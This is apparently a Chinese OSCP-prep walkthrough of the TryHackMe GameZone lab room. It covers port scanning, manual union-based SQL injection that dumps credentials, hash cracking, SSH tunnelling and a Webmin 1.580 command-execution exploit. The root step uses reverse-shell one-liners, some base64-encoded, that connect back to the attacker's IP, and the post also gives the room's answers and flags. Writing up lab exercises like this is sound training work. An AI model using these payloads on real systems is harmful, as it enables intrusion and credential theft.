来源
由于最近在备考 OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似 OSCP 靶机的清单
| Tryhackme | |||
|---|---|---|---|
| More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP. | |||
| Linux | Windows | Active Directory and Networks | Other recommended rooms |
| Attacktive Directory | SQL Injection Lab | ||
| Attacking Kerberos | Linux Privilege Escalation | ||
| Wreath Network | Windows Privilege Escalation | ||
| Reset | Git Happens | ||
| Skynet | Vulnnet: Active | NahamStore | |
| Daily bugle | Enterprise | ||
| Lazy admin | Ledger | ||
| Tomghost | Recommended paths | ||
| Rootme | Assumed Breach Scenarios: | Cyber Security 101 | |
| CMesS | Corp | Jr Penetration Tester | |
| Ultratech | Lateral Movement and Pivoting | Offensive Pentesting | |
| Internal | Exploiting Active Directory | ||
| Zeno | |||
| Boiler CTF | |||
| Wonderland | |||
| Silver Platter | |||
| Year of the Jellyfish |
由于机器数量较多,共 47 台,计划一天打 1-2 台,在一个月内打完全部机器。目前已将 Windows 部分打完。
0x04 GameZone(easy)
简介:
本会议将涵盖SQLi(手动和通过SQLMap利用该漏洞)、破解用户哈希密码、利用SSH隧道揭示隐藏服务以及利用metasploit负载获取root权限。
原文:
This room will cover SQLi (exploiting this vulnerability manually and via SQLMap), cracking a users hashed password, using SSH tunnels to reveal a hidden service and using a metasploit payload to gain root privileges.
设置环境变量
export TARGET=10.49.155.34
信息搜集
使用 rustscan 和 nmap 进行端口扫描
rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn
Open 10.49.155.34:22
Open 10.49.155.34:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTi0lKi0G+v4eFQU+P+CBodBOruOQC+3C/nXv0JVeR7yDWH6iRsFsevDofWcq05MZBr/CDPCnluhZzM1psx+5bp1Eiv3ecO0PF1QjhAzsPwUcmFSG1zAg+S757M+RFeRs0Jw0WMev8N6aR3uBZQSDPwBHGps+mZZZRcsssckJGQCZ4Qg/6PVFIwNGx9UoftdMFyfNMU/TDZmoatzo/FNEJOhbR38dF/xw9s/HRhugrUsLdNHyBxYShcY3B0Y2eLjnnuUWhYPmLZqgHuHr+eKnb1Ae3MB5lJTfZf3OmWaqcDVI3wpvQK7ACC9S8nxL3vYLyzxlvucEZHM9ILBI7Ov
| 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKAU0Orx0zOb8C4AtiV+Q1z2yj1DKw5Z2TA2UTS9Ee1AYJcMtM62+f7vGCgoTNN3eFj3lTvktOt+nMYsipuCxdY=
| 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL6LScmHgHeP2OMerYFiDsNPqgqFbsL+GsyehB76kldy
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Game Zone
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEB 访问及目录扫描
80 端口

问题 1:What is the name of the large cartoon avatar holding a sniper on the forum?(Agent 47)

目录扫描及网页文件扫描
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

初始访问
sql 注入
登陆点存在 sql 注入,可以使用万能密码登录 ' or 1=1 #

问题 2:When you've logged in, what page do you get redirected to?(portal.php)
登陆后有搜索功能,依旧存在 sql 注入,靶机问题提示使用 sqlmap,但我是在备考 OSCP,sqlmap 并不允许使用,所以我还是尝试手工注入,CTF 祖传手艺不能丢
-
判断类型
单引号报错,双引号不报错,所以参数包裹肯定是存在单引号的,且注释符#可以使用


判断为字符型的可显 sql 注入,参数以单引号包裹
-
判断列数量
' order by 5 # ' order by 3 # ' order by 4 # # 3正常,4异常,所以列数量为3 -
判断显位
' union select 1,2,3 # # 页面显示2和3,所以显位为2,3 -
查当前库的表
and 1=2 ' union select 1,table_name,3 from information_schema.tables where table_schema=database() #
当前库内存在两个表 users 和 post,一般 post 都是存在文章、页面相关的,users 一般是存在用户信息的
-
查 users 表的字段
and 1=2 ' union select 1,column_name,3 from information_schema.columns where table_name='users' #
-
查 users 表的 username、pwd 字段
and 1=2 ' union select 1,username,pwd from users #
agent47/ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
问题 3:In the users table, what is the hashed password?(ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14)
问题 4:What was the username associated with the hashed password?(agent47)
问题 5:What was the other table name?(post)
破解 hash
64 位的 hash,长度 = 64 个十六进制字符
- 1 个 hex 字符 = 4 bit
- 64 hex = 256 bit
故猜测使用 sha256 算法,用 hashcat 或 john 破解,都熟悉一下
echo "ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14" > hash.txt
# 用hashcat
hashcat -m 1400 -a 0 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
# seclists的字典没解出来,尝试用系统自带字典试试
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 用john
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# seclists的字典没解出来,尝试用系统自带字典试试

均能解出:videogamer124
问题 6:What is the de-hashed password?(videogamer124)
22 端口开放,尝试直接连接 ssh
ssh agent47@$TARGET

问题 7:What is the user flag?(649ac17b1480ac13ef1e4fa579dac95c)

搭建隧道
题目的问题在提示我们使用 ss -tulpn 命令查看套接字
| 参数 | 说明 |
|---|---|
-t |
显示 TCP 套接字 |
-u |
显示 UDP 套接字 |
-l |
仅显示正在监听的套接字 |
-p |
显示使用该套接字的进程 |
-n |
不解析服务名称(以数字形式显示端口) |

问题 8:How many TCP sockets are running?(5)
题目提示我们 10000 端口上有服务,且被防火墙拦截了,它提示我们用 ssh 搭建隧道
# ssh -L [本地端口]:[远程目标地址]:[远程目标端口] 用户@远程主机
ssh -L 10000:localhost:10000 agent47@$TARGET

问题 9:What is the name of the exposed CMS?(Webmin)
问题 10:What is the CMS version?(1.580)

提权
题目提示我们利用 cms 漏洞提权,他是使用的 MSF,但我们尝试自己打一下,搜索相关 exp
searchsploit Webmin 1.580

都是 rb,看来这里搜到的只能通过 MSF 打了,但是我不想在一台简单难度的机器使用 MSF,还是 google 一个 python 脚本吧

阅读 exp 后发现还需要账号密码

尝试用之前获取到的 agent47/videogamer124
python3 webmin_1.580.py -t localhost -p 10000 -U agent47 -P videogamer124 -c whoami

似乎没有回显,验证一下
sudo tcpdump -ni tun0 icmp
python3 webmin_1.580.py -t localhost -p 10000 -U agent47 -P videogamer124 -c 'ping 192.168.196.107'

确实是无回显的 RCE,可以 ping 通我的 kali,那就一套小连招拿下
-
开监听
python3 penelope.py -O -
弹 shell
# 小坑,需要编码,下面的payload由于存在特殊字符,存在转义、web传参等问题,无法成功反弹 python3 webmin_1.580.py -t localhost -p 10000 -U agent47 -P videogamer124 -c 'sh -i >& /dev/tcp/192.168.196.107/4444 0>&1'
# 尝试用nc -e,避免特殊符号,但是目标机器的nc没有-e参数 python3 webmin_1.580.py -t localhost -p 10000 -U agent47 -P videogamer124 -c 'nc 192.168.196.107 4444 -e sh'执行后没有回显,你问我怎么知道是没有-e 参数导致的?那肯定是用低权限 ssh 验证了啊

# 用base64的方式编码sh -i >& /dev/tcp/192.168.196.107/4444 0>&1 python3 webmin_1.580.py -t localhost -p 10000 -U agent47 -P videogamer124 -c 'echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTYuMTA3LzQ0NDQgMD4mMQ== | base64 -d | bash'
成功 getshell

问题 11:What is the root flag?(root flag)

总结
- sql 注入手工操作技能不能丢(已经忘的差不多了,还是翻大学期间的笔记打的)。
- 不要过分依赖 seclists 的字典,有时候系统字典反而更好用,跑密码的时候可以优先使用 seclists,如果没结果在用系统内置的字典。
- 反弹 shell 的时候如果不成功,尝试编码。